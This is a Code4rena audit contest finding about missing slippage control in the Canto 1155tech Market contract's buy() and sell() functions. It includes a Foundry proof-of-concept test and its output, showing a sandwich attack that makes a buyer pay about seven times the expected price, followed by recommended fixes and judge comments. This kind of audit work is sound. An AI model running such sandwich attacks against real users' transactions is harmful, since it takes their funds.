Platform: Code4rena
Start Date: 13/11/2023
Pot Size: $24,500 USDC
Total HM: 3
Participants: 120
Period: 4 days
Judge: 0xTheC0der
Id: 306
League: ETH
Rank: 92/120
Findings: 1
Award: $1.37
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: rvierdiiev
Also found by: 0x175, 0x3b, 0xMango, 0xarno, 0xpiken, Bauchibred, DarkTower, ElCid, Giorgio, HChang26, Kose, KupiaSec, Madalad, PENGUN, Pheonix, RaoulSchaffranek, SpicyMeatball, T1MOH, Tricko, Udsen, Yanchuan, aslanbek, ast3ros, bart1e, bin2chen, chaduke, d3e4, deepkin, developerjordy, glcanvas, inzinko, jasonxiale, jnforja, mahyar, max10afternoon, mojito_auditor, neocrao, nmirchev8, openwide, osmanozdemir1, peanuts, pep7siup, peritoflores, pontifex, rice_cooker, rouhsamad, t0x1c, tnquanghuy0512, turvy_fuzz, twcctop, ustas, vangrim, zhaojie, zhaojohnson
1.3743 USDC - $1.37
https://github.com/code-423n4/2023-11-canto/blob/main/1155tech-contracts/src/Market.sol#L150-L169
Bonding curves are particularly susceptible to MEV. Any Market#buy()
transaction can be sandwiched by an MEV bot that buys a large amount of shares before the original buy tx, and sells all of them right after in the same block, earning a risk free profit (a similar attack is also possible for sell()
transactions, though they require the MEV bot to be holding shares). Since the current implementation of Market
has no slippage control whatsoever, the amount of funds that can be stolen from the caller in this way is effectively uncapped.
MEV sandwich attacks are very common, and so the likelihood and impact of this vulnerability are both high.
The PoC below shows a scenario where a buy of 50 shares is sandwiched, causing the buyer to pay ~7 times as much as expected, with the majority of those funds going to the attacker (and the rest being collected as fees). Drop the below test into Market.t.sol to run. Note that for the test to work, a public mint()
function must be added to MockERC20
to set up the users balances. MockERC20
can also be found within Market.t.sol.
function testSlippage() public { // Setup testCreateNewShare(); address user = makeAddr("user"); address attacker = makeAddr("attacker"); token.mint(user, 100 ether); token.mint(attacker, 100 ether); uint256 userInitialBalance = token.balanceOf(user); uint256 attackerInitialBalance = token.balanceOf(attacker); console2.log(""); console2.log("User initial balance: ", userInitialBalance); console2.log("Attacker initial balance:", attackerInitialBalance); // User expects to pay 1.275e18 tokens to buy 50 shares (uint256 price,) = market.getBuyPrice(1, 50); assertEq(price, 1.275e18); // Attacker frontruns user buying 150 shares vm.startPrank(attacker); token.approve(address(market), type(uint256).max); market.buy(1, 150); vm.stopPrank(); // User buys 50 shares vm.startPrank(user); token.approve(address(market), type(uint256).max); market.buy(1, 50); vm.stopPrank(); // Attacker sells all their shares vm.prank(attacker); market.sell(1, 150); // User receives their shares assertEq(market.tokensByAddress(1, attacker), 0); assertEq(market.tokensByAddress(1, user), 50); uint256 userFinalBalance = token.balanceOf(user); uint256 attackerFinalBalance = token.balanceOf(attacker); // User ended up paying > 8 ether instead of 1.275 ether assertGt(userInitialBalance - userFinalBalance, 8 ether); // Attacker profited > 7 ether assertGt(attackerFinalBalance - attackerInitialBalance, 7 ether); console2.log(""); console2.log("User final balance: ", userFinalBalance); console2.log("Attacker final balance: ", attackerFinalBalance); }
Output:
Running 1 test for src/test/Market.t.sol:MarketTest [PASS] testSlippage() (gas: 765351) Logs: User initial balance: 100000000000000000000 Attacker initial balance: 100000000000000000000 User final balance: 91099642857142857171 Attacker final balance: 107132757378571428686 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.16ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Implement some form of slippage control to buy()
, such as a maxAmount
param in buy()
that defines the maximum amount of tokens the user is willing to pay for the shares, and a minAmount
param in sell()
that defines the minimum amount of token
tokens the user is willing to receive for their shares. Alternatively, implement a 1 block freeze between buying and selling, which will completely remove the risk free profit that MEV bots can earn.
MEV
#0 - c4-pre-sort
2023-11-18T10:05:22Z
minhquanym marked the issue as duplicate of #12
#1 - c4-judge
2023-11-28T23:14:14Z
MarioPoneder changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-11-28T23:30:06Z
MarioPoneder marked the issue as satisfactory